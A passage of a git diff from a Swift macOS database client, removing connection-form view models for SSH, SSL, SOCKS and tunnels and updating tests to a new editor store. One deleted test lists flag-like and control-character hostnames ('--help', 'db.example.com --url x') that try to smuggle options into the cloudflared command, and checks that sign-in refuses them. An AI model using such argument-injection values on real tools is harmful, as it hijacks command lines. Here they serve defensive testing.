resolvedHost.trimmingCharacters(in: .whitespaces) - return IPv4Address(host) != nil || IPv6Address(host) != nil - } - - var hidesBuiltInDatabase: Bool { - PluginMetadataRegistry.shared.snapshot(for: type)? - .connection.hidesBuiltInDatabase ?? false - } - - /// This is deliberately not `requiresAuthentication`: whether a driver needs credentials says - /// nothing about whether it accepts a database name. - var showsBuiltInDatabaseField: Bool { - ConnectionDatabaseRequirement.showsBuiltInField(for: type) - } - - var requiresDatabaseValue: Bool { - ConnectionDatabaseRequirement.requiresValue(for: type) - } - - var validationIssues: [String] { - var issues: [String] = [] - if name.trimmingCharacters(in: .whitespaces).isEmpty { - issues.append(String(localized: "Connection name is required")) - } - let mode = connectionMode - if requiresDatabaseValue && database.trimmingCharacters(in: .whitespaces).isEmpty { - let label = mode == .fileBased - ? String(localized: "Database file path is required") - : String(localized: "Database name is required") - issues.append(label) - } - issues += coordinator?.value?.presentation.validationIssues(in: .connection) ?? [] - issues += endpointHostListIssues - issues += localSocketIssues - return issues - } - - /// A pasted `https://` node is stored as host:port and SSL Mode picks the scheme, so Disabled - /// would send the request, credentials included, over plain HTTP. - private var endpointHostListIssues: [String] { - guard let hostList = connectionFields.endpointHostList else { return [] } - let entries = (additionalFieldValues[hostList.id] ?? "") - .split(separator: ",") - .map { $0.trimmingCharacters(in: .whitespaces) } - .filter { !$0.isEmpty } - var issues = entries - .filter { HostListEndpoint.parse($0, defaultPort: type.defaultPort) == nil } - .map { String(format: String(localized: "“%@” is not a host or host:port"), $0) } - if let coordinator = coordinator?.value, coordinator.supportsSSL, coordinator.ssl.mode == .disabled, - let secure = entries.first(where: HostListEndpoint.usesHTTPS) { - issues.append(String(format: String(localized: "%@ needs an SSL Mode other than Disabled"), secure)) - } - return issues - } - - func setType(_ newType: DatabaseType) { - guard newType != type else { return } - type = newType - coordinator?.value?.didChangeType(newType) - } - - func setPort(_ newPort: String) { - guard newPort != port else { return } - port = newPort - coordinator?.value?.didChangePort() - } - - func applyTypeDefaults(forNewType newType: DatabaseType) { - port = String(newType.defaultPort) - if host.trimmingCharacters(in: .whitespaces).isEmpty, let defaultHost = newType.defaultHost { - host = defaultHost - } - var values: [String: String] = [:] - let fields = PluginManager.shared.additionalConnectionFields(for: newType) - for field in fields where field.section == .connection { - if let defaultValue = field.defaultValue { - values[field.id] = defaultValue - } - } - if let hostList = fields.endpointHostList, values[hostList.id] == nil { - values[hostList.id] = HostListEndpoint.parse(host, defaultPort: newType.defaultPort)?.entry - } - additionalFieldValues = values - } - - func applyNameSuggestionIfEmpty(_ suggestion: String) { - guard name.isEmpty else { return } - name = suggestion - } - - func isFieldVisible(_ field: ConnectionField) -> Bool { - PluginFieldRendering.isFieldVisible(field, type: type, values: resolvedFieldValues) - } - - private var resolvedFieldValues: [String: String] { - coordinator?.value?.allAdditionalFieldValues ?? additionalFieldValues - } - - func load(from connection: DatabaseConnection) { - name = connection.name - host = connection.host - port = connection.port > 0 ? String(connection.port) : "" - database = connection.database - type = connection.type - sshForwardUnixSocketPath = connection.sshForwardUnixSocketPath ?? "" - localSocketPath = connection.localSocketPath ?? "" - endpoint = connection.localSocketPath == nil ? .hostAndPort : .localSocket - - var values: [String: String] = [:] - let allFields = PluginManager.shared.additionalConnectionFields(for: connection.type) - for field in allFields where field.section == .connection { - if let value = connection.additionalFields[field.id] { - values[field.id] = value - } else if let defaultValue = field.defaultValue { - values[field.id] = defaultValue - } - } - if let hostList = allFields.endpointHostList { - values[hostList.id] = Self.endpointList(values[hostList.id] ?? "", including: connection) - } - additionalFieldValues = values - } - - /// Host and Port seed an empty list. A list saved before it stood in for Host and Port (Kafka's - /// extra brokers) leaves Host out, so Host stays in, last, where the driver dials it. A Host - /// equal to the form's own default was filled in while hidden, not typed, and stays out. - static func endpointList(_ raw: String, including connection: DatabaseConnection) -> String? { - let port = connection.port > 0 ? connection.port : connection.type.defaultPort - let defaultHost = connection.type.defaultHost ?? "localhost" - let hasRows = raw.split(separator: ",").contains { !$0.trimmingCharacters(in: .whitespaces).isEmpty } - guard hasRows else { - return HostListEndpoint.parse(connection.host.isEmpty ? defaultHost : connection.host, defaultPort: port)?.entry - } - let listed = HostListEndpoint.parseList(raw, defaultPort: connection.type.defaultPort) - guard connection.host != defaultHost || port != connection.type.defaultPort, - let primary = HostListEndpoint.parse(connection.host, defaultPort: port), - !listed.contains(primary) - else { return raw } - return raw + "," + primary.entry - } - - func write(into fields: inout [String: String]) { - for (key, value) in additionalFieldValues { - fields[key] = value - } - let socketPath = sshForwardUnixSocketPath.trimmingCharacters(in: .whitespaces) - if !socketPath.isEmpty { - fields[DatabaseConnection.sshForwardUnixSocketPathKey] = socketPath - } - if let localSocket = resolvedLocalSocketEndpoint { - fields[MySQLLocalSocket.fieldKey] = localSocket.path - } - } -} - -/// Advisory only. `ssh -L` needs the socket file itself, while libpq's own `host` convention -/// names the directory holding it, and mixing the two up is the usual mistake. Save is never -/// blocked on this: the SSH server is the only authority on whether the path resolves. -enum SSHForwardSocketPathIssue: Equatable { - case notAbsolute - case looksLikeDirectory -} - -extension NetworkPaneViewModel { - nonisolated static func socketPathIssue(for rawPath: String) -> SSHForwardSocketPathIssue? { - let path = rawPath.trimmingCharacters(in: .whitespaces) - guard !path.isEmpty else { return nil } - guard path.hasPrefix("/") else { return .notAbsolute } - guard !path.hasSuffix("/") else { return .looksLikeDirectory } - return nil - } - - var socketPathIssue: SSHForwardSocketPathIssue? { - Self.socketPathIssue(for: sshForwardUnixSocketPath) - } -} diff --git a/apple/TablePro/Views/ConnectionForm/ViewModels/RemoteFilePaneViewModel.swift b/apple/TablePro/Views/ConnectionForm/ViewModels/RemoteFilePaneViewModel.swift deleted file mode 100644 index 8146191687..0000000000 --- a/apple/TablePro/Views/ConnectionForm/ViewModels/RemoteFilePaneViewModel.swift +++ /dev/null @@ -1,52 +0,0 @@ -// -// RemoteFilePaneViewModel.swift -// TablePro -// - -import Combine -import Foundation -import TableProSSHConfig - -/// Validation for the Remote File pane. -/// -/// The pane edits the same `SSHTunnelFormState` the SSH Tunnel pane does, because a file-backed -/// connection reaches its server with the same credentials a tunnel would. Only two fields are its -/// own, and only one of them can be wrong: a connection that names a server and no file has nothing -/// to open. -@MainActor -final class RemoteFilePaneViewModel: ObservableObject { - @Published var coordinator: WeakCoordinatorRef? - - /// Nothing to say unless this pane is the one on screen. - /// - /// `ConnectionFormCoordinator.isFormValid` reads every pane's issues, visible or not, so a view - /// model that answers for a type it does not belong to disables Save and Test on that type's - /// form. This pane shares `SSHTunnelFormState` with the SSH Tunnel pane, so without the - /// capability check every MySQL or PostgreSQL connection with a tunnel would be told it needs a - /// remote database file path. - var validationIssues: [String] { - guard let coordinator = coordinator?.value, - coordinator.services.pluginManager.supportsRemoteDatabaseFile(for: coordinator.network.type) - else { return [] } - - let ssh = coordinator.ssh.state - guard ssh.enabled else { return [] } - - var issues: [String] = [] - // The SSH pane reports an empty inline host, so an inline config is its to validate and this - // pane stays quiet to avoid the duplicate. But the SSH pane returns nothing once a profile is - // selected, and a profile this Mac cannot resolve leaves an empty host, so cover that here. - if ssh.profileId != nil, resolvedHost(for: coordinator).isEmpty { - issues.append(String(localized: "SSH host is required")) - } - if ssh.remoteFilePath.trimmingCharacters(in: .whitespaces).isEmpty { - issues.append(String(localized: "Remote database file path is required")) - } - return issues - } - - /// A profile supplies the host, so the inline field being empty says nothing on its own. - private func resolvedHost(for coordinator: ConnectionFormCoordinator) -> String { - coordinator.ssh.state.buildSSHConfig().host.trimmingCharacters(in: .whitespaces) - } -} diff --git a/apple/TablePro/Views/ConnectionForm/ViewModels/SOCKSProxyPaneViewModel.swift b/apple/TablePro/Views/ConnectionForm/ViewModels/SOCKSProxyPaneViewModel.swift deleted file mode 100644 index 410e0c2e52..0000000000 --- a/apple/TablePro/Views/ConnectionForm/ViewModels/SOCKSProxyPaneViewModel.swift +++ /dev/null @@ -1,43 +0,0 @@ -// -// SOCKSProxyPaneViewModel.swift -// TablePro -// - -import Combine -import Foundation - -@MainActor -final class SOCKSProxyPaneViewModel: ObservableObject { - @Published var state = SOCKSProxyFormState() - - @Published var coordinator: WeakCoordinatorRef? - - var validationIssues: [String] { - guard state.enabled else { return [] } - var issues: [String] = [] - - if state.host.trimmingCharacters(in: .whitespaces).isEmpty { - issues.append(String(localized: "SOCKS proxy host is required")) - } - - let portIsValid = Int(state.port).map { (1...65_535).contains($0) } ?? false - if !portIsValid { - issues.append(String(localized: "SOCKS proxy port must be between 1 and 65535")) - } - - return issues - } - - func load(from connection: DatabaseConnection, storage: ConnectionStorage) { - state.load(from: connection) - state.password = storage.loadSOCKSProxyPassword(for: connection.id) ?? "" - } - - func save(to connectionId: UUID, storage: ConnectionStorage) { - guard state.enabled, !state.password.isEmpty else { - storage.deleteSOCKSProxyPassword(for: connectionId) - return - } - storage.saveSOCKSProxyPassword(state.password, for: connectionId) - } -} diff --git a/apple/TablePro/Views/ConnectionForm/ViewModels/SSHPaneViewModel.swift b/apple/TablePro/Views/ConnectionForm/ViewModels/SSHPaneViewModel.swift deleted file mode 100644 index aa4a168686..0000000000 --- a/apple/TablePro/Views/ConnectionForm/ViewModels/SSHPaneViewModel.swift +++ /dev/null @@ -1,49 +0,0 @@ -// -// SSHPaneViewModel.swift -// TablePro -// - -import Combine -import Foundation -import TableProSSHConfig - -@MainActor -final class SSHPaneViewModel: ObservableObject { - @Published var state = SSHTunnelFormState() - - @Published var coordinator: WeakCoordinatorRef? - - var validationIssues: [String] { - guard state.enabled else { return [] } - guard state.profileId == nil else { return [] } - var issues: [String] = [] - if state.host.trimmingCharacters(in: .whitespaces).isEmpty { - issues.append(String(localized: "SSH host is required")) - } - if !state.port.isEmpty, - Int(state.port).map({ !(1...65_535).contains($0) }) ?? true { - issues.append(String(localized: "SSH port must be between 1 and 65535")) - } - if !state.jumpHosts.allSatisfy(\.isValid) { - issues.append(String(localized: "Jump host configuration is invalid")) - } - return issues - } - - func loadSSHConfig() { - Task { - let entries = await Task.detached { SSHConfigParser.parse() }.value - state.configEntries = entries - } - } - - func load(from connection: DatabaseConnection, storage: ConnectionStorage) { - state.profiles = SSHProfileStorage.shared.loadProfiles() - state.load(from: connection) - state.loadSecrets(connectionId: connection.id, storage: storage) - } - - func loadProfiles() { - state.profiles = SSHProfileStorage.shared.loadProfiles() - } -} diff --git a/apple/TablePro/Views/ConnectionForm/ViewModels/SSLPaneViewModel.swift b/apple/TablePro/Views/ConnectionForm/ViewModels/SSLPaneViewModel.swift deleted file mode 100644 index c43a433f24..0000000000 --- a/apple/TablePro/Views/ConnectionForm/ViewModels/SSLPaneViewModel.swift +++ /dev/null @@ -1,87 +0,0 @@ -// -// SSLPaneViewModel.swift -// TablePro -// - -import Combine -import Foundation -import TableProPluginKit - -@MainActor -final class SSLPaneViewModel: ObservableObject { - @Published private(set) var mode: SSLMode = .disabled - private(set) var origin: SSLModeOrigin = .typeDefault - @Published var caCertPath: String = "" - @Published var clientCertPath: String = "" - @Published var clientKeyPath: String = "" - @Published var clientKeyPassphrase: String = "" - - @Published var coordinator: WeakCoordinatorRef? - - /// Silent on a driver that renders no SSL section, so a stored mode the form cannot show - /// cannot disable Save over a certificate field the user has no way to reach. - var validationIssues: [String] { - guard coordinator?.value?.showsSSL ?? true else { return [] } - let type = coordinator?.value?.network.type - guard type?.supportsPerConnectionCertificatePaths ?? true else { return [] } - var issues: [String] = [] - let requiresCA = type?.requiresCACertificate(for: mode) ?? (mode == .verifyCa || mode == .verifyIdentity) - if requiresCA, caCertPath.trimmingCharacters(in: .whitespaces).isEmpty { - issues.append(String(localized: "CA certificate is required for verification modes")) - } - let hasClientCert = !clientCertPath.trimmingCharacters(in: .whitespaces).isEmpty - let hasClientKey = !clientKeyPath.trimmingCharacters(in: .whitespaces).isEmpty - if hasClientCert && !hasClientKey { - issues.append(String(localized: "Client key is required when client certificate is set")) - } - return issues - } - - func select(_ newMode: SSLMode) { - mode = newMode - origin = .chosen - } - - func applyImported(_ resolution: SSLModeResolution) { - apply(resolution) - } - - func reconcile(port: Int, type: DatabaseType) { - guard origin != .chosen else { return } - apply(type.sslModeResolution(forPort: port)) - } - - private func apply(_ resolution: SSLModeResolution) { - guard resolution != SSLModeResolution(mode: mode, origin: origin) else { return } - mode = resolution.mode - origin = resolution.origin - } - - func load(from connection: DatabaseConnection) { - mode = connection.sslConfig.mode - origin = mode == connection.type.defaultSSLMode ? .typeDefault : .chosen - caCertPath = connection.sslConfig.caCertificatePath - clientCertPath = connection.sslConfig.clientCertificatePath - clientKeyPath = connection.sslConfig.clientKeyPath - let storage = coordinator?.value?.storage ?? .shared - clientKeyPassphrase = storage.loadSSLClientKeyPassphrase(for: connection.id) ?? "" - } - - func resetForType(_ type: DatabaseType) { - mode = type.defaultSSLMode - origin = .typeDefault - caCertPath = "" - clientCertPath = "" - clientKeyPath = "" - clientKeyPassphrase = "" - } - - func buildConfig() -> SSLConfiguration { - SSLConfiguration( - mode: mode, - caCertificatePath: caCertPath, - clientCertificatePath: clientCertPath, - clientKeyPath: clientKeyPath - ) - } -} diff --git a/apple/TablePro/Views/ConnectionForm/ViewModels/TunnelCommandPaneViewModel.swift b/apple/TablePro/Views/ConnectionForm/ViewModels/TunnelCommandPaneViewModel.swift deleted file mode 100644 index 04aba72831..0000000000 --- a/apple/TablePro/Views/ConnectionForm/ViewModels/TunnelCommandPaneViewModel.swift +++ /dev/null @@ -1,23 +0,0 @@ -// -// TunnelCommandPaneViewModel.swift -// TablePro -// - -import Combine -import Foundation - -@MainActor -final class TunnelCommandPaneViewModel: ObservableObject { - @Published var state = TunnelCommandFormState() - - @Published var coordinator: WeakCoordinatorRef? - - var validationIssues: [String] { - guard state.enabled else { return [] } - return TunnelCommandBuilder.validationIssues(for: state.buildConfig()) - } - - func load(from connection: DatabaseConnection) { - state.load(from: connection) - } -} diff --git a/apple/TableProTests/CloudSQL/CloudSQLProxyPaneViewModelTests.swift b/apple/TableProTests/CloudSQL/CloudSQLProxyPaneViewModelTests.swift deleted file mode 100644 index c4e25e3167..0000000000 --- a/apple/TableProTests/CloudSQL/CloudSQLProxyPaneViewModelTests.swift +++ /dev/null @@ -1,124 +0,0 @@ -// -// CloudSQLProxyPaneViewModelTests.swift -// TableProTests -// - -import Foundation -import Testing - -@testable import TablePro -import TableProTestSupport - -@MainActor -struct CloudSQLProxyPaneViewModelTests { - @Test("disabled reports no issues") - func disabledNoIssues() { - let viewModel = CloudSQLProxyPaneViewModel() - viewModel.state.enabled = false - #expect(viewModel.validationIssues.isEmpty) - } - - @Test("enabled requires a well-formed instance connection name") - func requiresInstanceName() { - let viewModel = CloudSQLProxyPaneViewModel() - viewModel.state.enabled = true - viewModel.state.instanceConnectionName = "bad" - #expect(!viewModel.validationIssues.isEmpty) - - viewModel.state.instanceConnectionName = "p:r:i" - #expect(viewModel.validationIssues.isEmpty) - } - - @Test("manual port must be in range") - func manualPortRange() { - let viewModel = CloudSQLProxyPaneViewModel() - viewModel.state.enabled = true - viewModel.state.instanceConnectionName = "p:r:i" - viewModel.state.automaticPort = false - - viewModel.state.localPort = "70000" - #expect(!viewModel.validationIssues.isEmpty) - - viewModel.state.localPort = "5432" - #expect(viewModel.validationIssues.isEmpty) - } - - @Test("service account key mode requires a key") - func serviceAccountKeyRequired() { - let viewModel = CloudSQLProxyPaneViewModel() - viewModel.state.enabled = true - viewModel.state.instanceConnectionName = "p:r:i" - viewModel.state.authMode = .serviceAccountKey - - viewModel.state.serviceAccountKeyJSON = "" - #expect(!viewModel.validationIssues.isEmpty) - - viewModel.state.serviceAccountKeyJSON = "{\"type\":\"service_account\"}" - #expect(viewModel.validationIssues.isEmpty) - } - - @Test("The pane shows the shared download, and its Cancel stops it") - func paneFollowsSharedDownload() async throws { - let dir = try TestProxyDownload.temporaryDirectory() - defer { try? FileManager.default.removeItem(at: dir) } - let record = DownloadRecord() - let download = CloudSQLProxyDownload(binaryManager: CloudSQLProxyBinaryManager( - baseDirectory: dir, - expectedSHA256: TestProxyDownload.pins(Data("pinned build".utf8)), - download: { _, progress in - record.started() - await progress(0.5) - await suspendUntilCancelled() - record.sawCancel() - throw URLError(.cancelled) - } - )) - let viewModel = CloudSQLProxyPaneViewModel(download: download) - - viewModel.downloadBinary() - try await waitUntil { viewModel.downloadPhase == .downloading(fraction: 0.5) } - #expect(viewModel.isDownloading) - - viewModel.cancelDownload() - #expect(viewModel.downloadPhase == .idle) - try await waitUntil { record.wasCancelled } - } - - @Test( - "Only a managed binary that passes its checksum shows as detected", - .enabled(if: CLIExecutableFinder.findExecutable("cloud-sql-proxy") == nil, "a system cloud-sql-proxy wins over the managed one") - ) - func detectedNeedsACurrentManagedBinary() async throws { - let dir = try TestProxyDownload.temporaryDirectory() - defer { try? FileManager.default.removeItem(at: dir) } - let bytes = Data("pinned build".utf8) - let binary = dir.appendingPathComponent("cloud-sql-proxy") - try Data("altered".utf8).write(to: binary) - try FileManager.default.setAttributes([.posixPermissions: 0o755], ofItemAtPath: binary.path) - try CloudSQLProxyBinaryManager.pinnedVersion - .write(to: dir.appendingPathComponent("version.txt"), atomically: true, encoding: .utf8) - let viewModel = CloudSQLProxyPaneViewModel(download: CloudSQLProxyDownload(binaryManager: CloudSQLProxyBinaryManager( - baseDirectory: dir, - expectedSHA256: TestProxyDownload.pins(bytes), - download: TestProxyDownload.serving(bytes, into: dir) - ))) - - viewModel.resolveBinary() - try await waitUntil { viewModel.didResolveBinary } - #expect(viewModel.resolvedBinaryPath == nil) - - try bytes.write(to: binary) - viewModel.didResolveBinary = false - viewModel.resolveBinary() - try await waitUntil { viewModel.didResolveBinary } - #expect(viewModel.resolvedBinaryPath == binary.path) - } - - @Test("The not-found caption is plain text that names the install command") - func binaryNotFoundMessageIsPlainText() { - let message = CloudSQLProxyPaneViewModel().binaryNotFoundMessage - - #expect(!message.contains("`")) - #expect(message.contains("brew install cloud-sql-proxy")) - } -} diff --git a/apple/TableProTests/Cloudflare/CloudflareTunnelPaneViewModelTests.swift b/apple/TableProTests/Cloudflare/CloudflareTunnelPaneViewModelTests.swift deleted file mode 100644 index f597fb43b9..0000000000 --- a/apple/TableProTests/Cloudflare/CloudflareTunnelPaneViewModelTests.swift +++ /dev/null @@ -1,87 +0,0 @@ -// -// CloudflareTunnelPaneViewModelTests.swift -// TableProTests -// - -import Foundation -import Testing - -@testable import TablePro - -@MainActor -struct CloudflareTunnelPaneViewModelTests { - @Test("disabled tunnel reports no validation issues") - func disabledNoIssues() { - let viewModel = CloudflareTunnelPaneViewModel() - viewModel.state.enabled = false - #expect(viewModel.validationIssues.isEmpty) - } - - @Test("enabled tunnel requires a hostname") - func requiresHostname() { - let viewModel = CloudflareTunnelPaneViewModel() - viewModel.state.enabled = true - viewModel.state.accessHostname = " " - #expect(viewModel.validationIssues.contains { $0.localizedCaseInsensitiveContains("hostname") }) - } - - @Test("manual port must be within range") - func portRange() { - let viewModel = CloudflareTunnelPaneViewModel() - viewModel.state.enabled = true - viewModel.state.accessHostname = "db.example.com" - viewModel.state.automaticPort = false - viewModel.state.localPort = "70000" - #expect(viewModel.validationIssues.contains { $0.localizedCaseInsensitiveContains("port") }) - } - - @Test("service token mode requires id and secret") - func serviceTokenRequired() { - let viewModel = CloudflareTunnelPaneViewModel() - viewModel.state.enabled = true - viewModel.state.accessHostname = "db.example.com" - viewModel.state.authMethod = .serviceToken - #expect(!viewModel.validationIssues.isEmpty) - } - - @Test("valid browser sign-in config has no issues") - func validBrowserConfig() { - let viewModel = CloudflareTunnelPaneViewModel() - viewModel.state.enabled = true - viewModel.state.accessHostname = "db.example.com" - viewModel.state.authMethod = .browserSSO - #expect(viewModel.validationIssues.isEmpty) - } - - @Test("Browser sign-in refuses a hostname cloudflared would read as an option or split", arguments: [ - "-h", "--help", "db.example.com --url x", "db\texample.com", "db.example.com\u{202E}", - ]) - func signInRefusesFlagLikeHostname(hostname: String) { - let viewModel = CloudflareTunnelPaneViewModel() - viewModel.state.binaryPath = "/usr/bin/true" - viewModel.state.accessHostname = hostname - - viewModel.signInWithBrowser() - - #expect(viewModel.signInError != nil) - } - - @Test("Browser sign-in starts for a plain hostname") - func signInStartsForPlainHostname() { - let viewModel = CloudflareTunnelPaneViewModel() - viewModel.state.binaryPath = "/usr/bin/true" - viewModel.state.accessHostname = "db.example.com" - - viewModel.signInWithBrowser() - - #expect(viewModel.signInError == nil) - } - - @Test("The not-found caption is plain text that names the install command") - func binaryNotFoundMessageIsPlainText() { - let message = CloudflareTunnelPaneViewModel().binaryNotFoundMessage - - #expect(!message.contains("`")) - #expect(message.contains("brew install cloudflared")) - } -} diff --git a/apple/TableProTests/Core/Services/Execution/ManualCommitTests.swift b/apple/TableProTests/Core/Services/Execution/ManualCommitTests.swift index c891b8e502..d7233e1e9b 100644 --- a/apple/TableProTests/Core/Services/Execution/ManualCommitTests.swift +++ b/apple/TableProTests/Core/Services/Execution/ManualCommitTests.swift @@ -260,19 +260,20 @@ struct ConnectionCommitModeStorageTests { @MainActor @Test("The form's Manual Commit toggle is off and refuses a change where the engine can't hold") func formToggleIsDisabledWhereUnavailable() { - let coordinator = ConnectionFormCoordinator(connectionId: nil) - coordinator.network.type = .mysql - coordinator.customization.commitMode = .manual - #expect(!coordinator.isManualCommitAvailable) - #expect(!coordinator.effectiveManualCommit) - coordinator.effectiveManualCommit = false - #expect(coordinator.customization.commitMode == .manual) - - coordinator.network.type = .postgresql - #expect(coordinator.isManualCommitAvailable) - #expect(coordinator.effectiveManualCommit) - coordinator.effectiveManualCommit = false - #expect(coordinator.customization.commitMode == .automatic) + let mysql = ConnectionTypeTraits.live(for: .mysql, pluginManager: .shared) + let postgres = ConnectionTypeTraits.live(for: .postgresql, pluginManager: .shared) + var draft = ConnectionDraft.new(type: .mysql, traits: mysql) + draft.safety.commitMode = .manual + #expect(!mysql.manualCommitAvailable) + #expect(!ConnectionEditorEngine.effectiveManualCommit(draft, mysql)) + draft.setManualCommit(false, traits: mysql) + #expect(draft.safety.commitMode == .manual) + + draft.retype(to: postgres, from: mysql) + #expect(postgres.manualCommitAvailable) + #expect(ConnectionEditorEngine.effectiveManualCommit(draft, postgres)) + draft.setManualCommit(false, traits: postgres) + #expect(draft.safety.commitMode == .automatic) } @Test("The form writes Manual Commit into the saved fields, and turning it off removes the key") diff --git a/apple/TableProTests/Core/Services/WorkspaceRailStoreTests.swift b/apple/TableProTests/Core/Services/WorkspaceRailStoreTests.swift index 1c3992834b..59e8c97211 100644 --- a/apple/TableProTests/Core/Services/WorkspaceRailStoreTests.swift +++ b/apple/TableProTests/Core/Services/WorkspaceRailStoreTests.swift @@ -784,7 +784,9 @@ struct WorkspaceRailCellTextTests { #expect(coloured.fillsWithIdentity) #expect(!plain.fillsWithIdentity) - #expect(plain.glyphTint == NSColor(makeEntry().connection.brandColor)) + let brand = NSColor(makeEntry().connection.brandColor) + #expect(resolved(plain.glyphTint, in: .aqua) == resolved(brand, in: .aqua)) + #expect(resolved(plain.glyphTint, in: .darkAqua) == resolved(ConnectionTileMetrics.glyphColor(brand: brand), in: .darkAqua)) } @Test("A failed connection's tile keeps the engine glyph, the mark carries the state") @@ -792,7 +794,8 @@ struct WorkspaceRailCellTextTests { let failed = try #require(configuredCell(for: makeEntry(status: .failed(cause: nil))).renderedTile) let connected = try #require(configuredCell(for: makeEntry()).renderedTile) #expect(pixels(failed.image) == pixels(connected.image)) - #expect(failed.glyphTint == connected.glyphTint) + #expect(resolved(failed.glyphTint, in: .aqua) == resolved(connected.glyphTint, in: .aqua)) + #expect(resolved(failed.glyphTint, in: .darkAqua) == resolved(connected.glyphTint, in: .darkAqua)) } private static let railLayouts: [WorkspaceRailMetrics.Layout] = [ @@ -852,6 +855,13 @@ struct WorkspaceRailCellTextTests { private static let customIcon = "server.rack" + // The glyph tint is a dynamic colour, so two of them only compare once resolved in one appearance. + private func resolved(_ color: NSColor?, in name: NSAppearance.Name) -> CGColor? { + var cgColor: CGColor? + NSAppearance(named: name)?.performAsCurrentDrawingAppearance { cgColor = color?.cgColor } + return cgColor + } + private func pixels(_ image: NSImage?) -> Data? { image?.tiffRepresentation } diff --git a/apple/TableProTests/Core/Storage/ConnectionStorageImportTests.swift b/apple/TableProTests/Core/Storage/ConnectionStorageImportTests.swift index 2249c46ab5..9e944d9ad8 100644 --- a/apple/TableProTests/Core/Storage/ConnectionStorageImportTests.swift +++ b/apple/TableProTests/Core/Storage/ConnectionStorageImportTests.swift @@ -111,11 +111,16 @@ struct ConnectionStorageImportTests { func connectionFormExplainsUnreadableLibrary() throws { let corrupt = Data("not json".utf8) try corrupt.write(to: fileURL) - let coordinator = ConnectionFormCoordinator(connectionId: nil, services: try services(with: makeStorage())) + let store = ConnectionEditorStore( + request: .new(type: .mysql, parsedURL: nil), + services: services(with: try makeStorage()) + ) + store.update { $0.name = "Orders" } - coordinator.save() + store.save() - #expect(coordinator.saveError == String( + #expect(store.saveError == .libraryUnreadable) + #expect(store.saveError?.errorDescription == String( localized: "TablePro could not read your saved connections, so it did not save over them." )) #expect(try Data(contentsOf: fileURL) == corrupt) diff --git a/apple/TableProTests/Core/Utilities/ConnectionURLParserTLSPortTests.swift b/apple/TableProTests/Core/Utilities/ConnectionURLParserTLSPortTests.swift index aa34392ba4..073578b671 100644 --- a/apple/TableProTests/Core/Utilities/ConnectionURLParserTLSPortTests.swift +++ b/apple/TableProTests/Core/Utilities/ConnectionURLParserTLSPortTests.swift @@ -202,13 +202,12 @@ struct ConnectionURLParserTLSPortTests { @Test("Importing etcds:// into the form sets TLS Mode to Required, and a plain etcd:// import sets it to Disabled") func etcdFormImportSetsTLSMode() throws { - let secure = ConnectionFormCoordinator(connectionId: nil, initialParsedURL: try parse("etcds://etcd.example.com:2379")) - secure.start() - #expect(secure.advanced.additionalFieldValues["etcdTlsMode"] == "Required") - #expect(secure.ssl.mode == .disabled) - - let plain = ConnectionFormCoordinator(connectionId: nil, initialParsedURL: try parse("etcd://etcd.example.com:2379")) - plain.start() - #expect(plain.advanced.additionalFieldValues["etcdTlsMode"] == "Disabled") + let fixture = try ConnectionEditorStoreFixture() + let secure = fixture.makeStore(.new(type: nil, parsedURL: try parse("etcds://etcd.example.com:2379"))) + #expect(secure.draft.fieldValues["etcdTlsMode"] == "Required") + #expect(secure.draft.ssl.mode == .disabled) + + let plain = fixture.makeStore(.new(type: nil, parsedURL: try parse("etcd://etcd.example.com:2379"))) + #expect(plain.draft.fieldValues["etcdTlsMode"] == "Disabled") } } diff --git a/apple/TableProTests/Core/Utilities/ImportedSSLModeResolutionTests.swift b/apple/TableProTests/Core/Utilities/ImportedSSLModeResolutionTests.swift index 08424ecd81..de6e496abb 100644 --- a/apple/TableProTests/Core/Utilities/ImportedSSLModeResolutionTests.swift +++ b/apple/TableProTests/Core/Utilities/ImportedSSLModeResolutionTests.swift @@ -64,9 +64,9 @@ struct ImportedSSLModeResolutionTests { ]) func formAndDeepLinkAgree(url: String) throws { let parsed = try parse(url) - let coordinator = ConnectionFormCoordinator(connectionId: nil, initialParsedURL: parsed) - coordinator.start() - #expect(coordinator.ssl.mode == TransientConnectionFactory.build(from: parsed).sslConfig.mode) + let fixture = try ConnectionEditorStoreFixture() + let store = fixture.makeStore(.new(type: nil, parsedURL: parsed)) + #expect(store.draft.ssl.mode == TransientConnectionFactory.build(from: parsed).sslConfig.mode) } @Test("The form and a deep link open the same port for the same URL", arguments: [ @@ -78,10 +78,10 @@ struct ImportedSSLModeResolutionTests { ]) func formAndDeepLinkAgreeOnPort(url: String) throws { let parsed = try parse(url) - let coordinator = ConnectionFormCoordinator(connectionId: nil, initialParsedURL: parsed) - coordinator.start() + let fixture = try ConnectionEditorStoreFixture() + let store = fixture.makeStore(.new(type: nil, parsedURL: parsed)) let transient = TransientConnectionFactory.build(from: parsed) - #expect(coordinator.network.port == String(transient.port)) + #expect(store.draft.portText == String(transient.port)) #expect(transient.port == parsed.resolvedPort) } } diff --git a/apple/TableProTests/SOCKS/SOCKSProxyModelTests.swift b/apple/TableProTests/SOCKS/SOCKSProxyModelTests.swift index 01aab6b81a..c2ebc50415 100644 --- a/apple/TableProTests/SOCKS/SOCKSProxyModelTests.swift +++ b/apple/TableProTests/SOCKS/SOCKSProxyModelTests.swift @@ -101,15 +101,18 @@ struct SOCKSProxyModelTests { #expect(restored.socksProxyMode == connection.socksProxyMode) } - @Test("SOCKS form state builds the tunnel mode and loads it back") - func formStateRoundTrip() { - var state = SOCKSProxyFormState() - state.enabled = true - state.host = " proxy.example.com " - state.port = "9150" - state.username = "tester" - - guard case .inline(let config) = state.buildTunnelMode() else { + @Test("The editor's SOCKS draft writes the tunnel mode trimmed and loads it back") + @MainActor + func draftRoundTrip() { + let postgres = ConnectionTypeTraits.live(for: .postgresql, pluginManager: .shared) + var draft = ConnectionDraft.new(type: .postgresql, traits: postgres) + draft.selectTransport(.socksProxy) + draft.socksProxy.host = " proxy.example.com " + draft.socksProxy.port = "9150" + draft.socksProxy.username = "tester" + + let edits = ConnectionEditorEngine.edits(draft, postgres, originalTraits: nil, EditorContext()) + guard case .inline(let config) = edits.socksProxyMode else { Issue.record("Expected an inline mode") return } @@ -117,15 +120,18 @@ struct SOCKSProxyModelTests { #expect(config.port == 9_150) #expect(config.username == "tester") - var reloaded = SOCKSProxyFormState() - reloaded.load(from: DatabaseConnection(name: "P", type: .postgresql, socksProxyMode: .inline(config))) - #expect(reloaded.enabled) - #expect(reloaded.host == "proxy.example.com") - #expect(reloaded.port == "9150") - #expect(reloaded.username == "tester") - - var disabled = SOCKSProxyFormState() - disabled.load(from: DatabaseConnection(name: "P", type: .postgresql)) - #expect(!disabled.enabled) + let reloaded = ConnectionDraft.loaded( + from: DatabaseConnection(name: 